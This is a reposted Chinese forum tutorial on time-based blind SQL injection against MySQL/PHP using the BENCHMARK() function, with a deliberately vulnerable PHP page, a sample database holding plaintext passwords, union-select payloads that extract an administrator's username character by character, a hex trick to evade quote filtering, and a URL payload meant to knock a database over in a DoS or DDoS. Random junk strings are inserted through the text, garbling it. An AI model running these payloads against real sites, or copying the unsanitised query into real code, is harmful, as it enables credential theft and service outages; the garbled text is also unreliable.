找回密码
 立即注册
查看: 2905|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 - ?; h7 J* Z. I( p
本文作者:SuperHei8 D3 L& s7 ^( z7 Q4 W5 C6 h
文章性质:原创$ ~4 n$ S. g9 `4 J* B
发布日期:2005-01-02
1 L, `8 E' z" Q7 W完成日期:2004-07-09
; J$ D4 C5 _, p1 X3 E, ^8 z第一部4 o7 t5 H; }0 h# A# C$ {$ X* a

6 @- ^: L/ `4 U% }利用时间推延进行注射---BENCHMARK函数在注射中的利用 6 ?& P2 I; m8 t0 l& o3 v6 T

0 F: N$ r2 ]9 _一.前言/思路
" D2 k/ b+ V1 R+ o! M) V
* c" f4 G3 @7 Z  ~1 f8 m7 Z8 P  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。8 W; P2 V5 @( z$ d. s( h) e' @8 Y3 E

7 Y9 I$ W( E+ O; [6 M$ N  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。) Z$ a. R) T2 S3 i9 l* T1 \, |
. Q8 y6 C) c: E; L% H/ ]: {
二.关于BENCHMARK函数
+ W) y- A' D8 ~2 D; R* \3 X- o; F' r+ g0 Z3 W0 B
  在MySQL参考手册里可以看到如下描叙: - ~7 \8 Y) n: _, v" _5 g

# a0 i( V+ v( U' R/ P' x- f  @0 w( i- K9 i8 V
--------------------------------------------------------------------------------
1 N. f% w6 Q: K0 V
' a7 Q3 @4 c5 `- \2 Q5 hBENCHMARK(count,expr) * m& Y; Z! r) A
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 % {" W6 D6 ^% P2 g- J
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); $ F- l* I8 e6 L8 `- \& D9 ~3 g
+----------------------------------------------+ 7 n6 T2 x0 C$ [5 S# u" Y
| BENCHMARK(1000000,encode("hello","goodbye")) | * T+ U- h4 a+ V( e
+----------------------------------------------+
# j/ X% N  G' \3 [: W9 k| 0 | 5 k0 z# v3 h5 Z% ^) Z7 [
+----------------------------------------------+ ( {: f6 |9 A+ c* t7 e
1 row in set (4.74 sec) ! Z; E- `* v' n1 [) C8 ^! |9 q

/ Z# x4 T2 ]. u+ s报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
$ [9 Y2 B, z" S& ]% u# e
: i5 d  K, c/ ?, U
$ ~9 V; n/ g: g) H--------------------------------------------------------------------------------+ A: o8 |: w6 n) C/ `# _. K
- D5 _0 V$ Q, z; T# n8 |# Y
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
- ~# K0 ]. x8 k' n
+ ]% A& z# {8 F2 j6 s$ L/ imysql> select md5( 'test' );
7 |. a) ?# n/ \; N; Q+----------------------------------+
4 ~4 D3 c9 h( Y) B* q3 G| md5( 'test' ) | ( F; {3 ~; v- o6 f, x8 P& E3 M
+----------------------------------+
# d0 ~6 f9 _. \  U8 {5 G- E* e9 E# u- n| 098f6bcd4621d373cade4e832627b4f6 |
- O0 O6 Z: M) K* w0 M/ g) C8 U. D4 r+----------------------------------+ 9 i. `; @5 ?. ~( I
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec & U$ _: T. W5 J9 i8 ]

2 T* G3 l! T1 Lmysql> select benchmark( 500000, md5( 'test' ) ); 3 y% p0 b- g; Y: }
+------------------------------------+ 7 c! u; j; C! D7 J  s* Z- |
| benchmark( 500000, md5( 'test' ) ) | & d/ k; X' `( O: X/ g( J
+------------------------------------+ ( S! j  U' `& a4 J$ z9 ^
| 0 |
2 R* z  k; Y$ H- P* b+------------------------------------+ / p- g) d% |% p* c* P
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
3 s" F3 y. o  r( v3 F9 V7 [, X
5 S0 G- t3 m5 }! D, \1 M; X0 J6 F5 z6 N* u. {7 _' P1 K9 V, n4 Q5 _
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 4 q7 B- z' ~, ?. b$ t4 |" z+ F5 E

. m  O' K  l( b8 k" C/ Z- y三.具体例子* o& q. H3 C" e$ O, n- `+ v7 R
$ r4 s  i. d. G  b2 @
  首先我们看个简单的php代码:; W5 r5 {; u8 B, \/ e/ j1 E
! I, J: K; X3 W# Q: O+ v: a
< ?php % r' |3 I# D3 s
$servername = "localhost";
9 y; O! t; U* _$dbusername = "root"; . }; X( }2 t: Q$ k
$dbpassword = "";
, \. e! K- |4 Y$dbname = "injection";
! W9 T: O* i  N, ^0 `: `6 e- L' C) L% d" t* J
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 4 h) D7 {, {2 J+ J8 O
, F3 s. _* U( G  U% e' a+ W2 {- j) L
$sql = "SELECT * FROM article WHERE articleid=$id";
; t1 W% x* ^6 o6 l" s* d% I) x$result = mysql_db_query($dbname,$sql); ' ^2 |( O" ]0 m7 P& G0 P+ q1 I
$row = mysql_fetch_array($result); 0 _; q5 P( y: [8 r
; ?3 P6 J7 r/ ~! j5 h: n* A$ f
if (!$row) 0 w4 S1 }$ g  F( F" U( Z' d
{ 2 I; z! b1 y. r9 Y# \
exit; . \- R& b1 h; r1 X& |; R$ T
} ' Y$ L9 y( k% b  `) v# D
?>" [7 h: P6 C: R0 I) l& A% ^! @
# l, i3 Q' o  M' m; `/ w7 \3 Q
- o9 X5 p8 ?. [+ c2 k4 M  r
  数据库injection结构和内容如下:; M9 x- x. C7 ~, ~5 A

! u' G" P3 M% R. Y6 I% M* y# 数据库 : `injection`
5 ?4 C- A. R5 b4 [#
. o% c$ e, o0 ]+ R" N4 b
6 y6 {+ c5 N0 Y9 S+ i$ ~0 r5 Y6 q# --------------------------------------------------------
1 L- Q- m$ S  E6 @$ y6 @; |5 k; `- W8 N- m
# : c$ r8 @9 c2 X: y+ V1 N, Q* x
# 表的结构 `article`
& {) A* X( R5 m8 W% b#
* b- a& t. n  x" Z1 x
0 N* G% w0 L9 y( t% g& _CREATE TABLE `article` (
4 j: Y% x, a9 @' f) M`articleid` int(11) NOT NULL auto_increment, 4 s! V: R0 P3 p' u0 c
`title` varchar(100) NOT NULL default '',
/ B$ P7 Y. t7 H`content` text NOT NULL, 7 s& h7 K) s/ i5 e, w5 \" a
PRIMARY KEY (`articleid`) + P; y0 j& T* f& b0 k, S
) TYPE=MyISAM AUTO_INCREMENT=3 ;
9 Q! U' Q: y) Q" F% r% Q1 _8 ?$ _8 {" j4 j) X1 P/ j
# ( t0 x9 a4 N. w) b2 O
# 导出表中的数据 `article`
' Z! l  p; w) ~$ ]8 B# . a& e2 N* h* m- b

9 K# `/ F! Q% N, {) w+ B$ \# HINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); ' T/ j, r/ M5 c
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
5 c6 l" ]- P) a( G. u; R  O: c+ b! I9 U3 q9 e; j1 j$ g
# --------------------------------------------------------
# v- [- c2 C# s. j5 M8 e. R4 ~4 f4 h+ [* x+ L
# - O) e9 o+ {( Q, f
# 表的结构 `user`
9 t7 L7 \# d5 s3 t+ _#
; v# p1 o! ?2 ?" \
$ z  C. p2 Z& d) qCREATE TABLE `user` (
3 M8 s. _1 K0 |  g/ W1 c/ h( f6 o9 q5 ^`userid` int(11) NOT NULL auto_increment, % Z3 `8 F8 Y% J* Q, K2 T% K
`username` varchar(20) NOT NULL default '',
. j; G3 D; E2 t; O& d) z`password` varchar(20) NOT NULL default '', * z$ @4 m$ B2 Q( L8 S% C8 H
PRIMARY KEY (`userid`)
9 M3 Q3 ?7 R# V! x8 C: H) TYPE=MyISAM AUTO_INCREMENT=3 ; - y( a: S) l: m# b. q8 @7 D

3 @: n! ?  n" j6 k#
  b8 Q1 F! ?* C# 导出表中的数据 `user`
# K, \+ b  s4 n' ~#
& x1 Y2 v( Z2 y% Y% S6 a8 L/ ^" h: H" M4 X3 }1 j
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
1 [4 y! B, V0 ^: m8 g- D9 OINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');" k% D! I% }: `  r" ~! V
+ n" L7 G8 n$ n, S
- X9 z: R# m* O, B3 Z7 {
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
; P1 X% ~& ]8 t1 J, d4 B
6 p: \; }9 f6 ^/ z; I, `id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*! _; N0 |& [0 a

% ~# @% m( ^+ T9 b0 s1 }0 L
- v% Z6 c9 M- ^" X! W/ I" m  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:# v5 I6 I  ^% u
% l( g4 q6 z3 R: f2 n
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
% o, D" F7 [3 n7 a. p+ P
& G* N7 B3 w- X+ j3 ^2 r4 t
" m3 v1 A+ X6 M, L7 V$ b0 A8 X4 c# G8 r  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 " L5 S* m0 t$ H/ _1 O

% F- a" k1 v( y3 x  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
' C2 p8 i% V/ Q$ g
) @1 j2 C1 o& Z1 f5 j1 I第二部
; ]& P! T& G" f$ Y6 P
5 e6 T: C' i  v  u/ g# n' z" o/ P! Q利用BENCHMARK函数进行ddos攻击 ! [  U: n+ B& R' B& ?

6 N3 p5 S& G9 V# ^6 t7 `  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:- H1 a, H  O( W9 d$ P0 r: w

# `5 C& U' |2 ^6 v& T9 Yhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
2 a" g4 ]. E7 ]1 m
. l1 N% v9 ?) ~3 |7 x- @! x
( C! B, |; c% p% ~& H$ Z. M' w小结
1 W' G' k* v0 q, G) A! M% m* i/ D3 f9 S4 r
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。/ A5 U! U+ K/ P7 |3 h. t5 Z" {$ i9 x

% S$ I! o$ i' A% z7 z  ; g: W' l1 F- J, `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表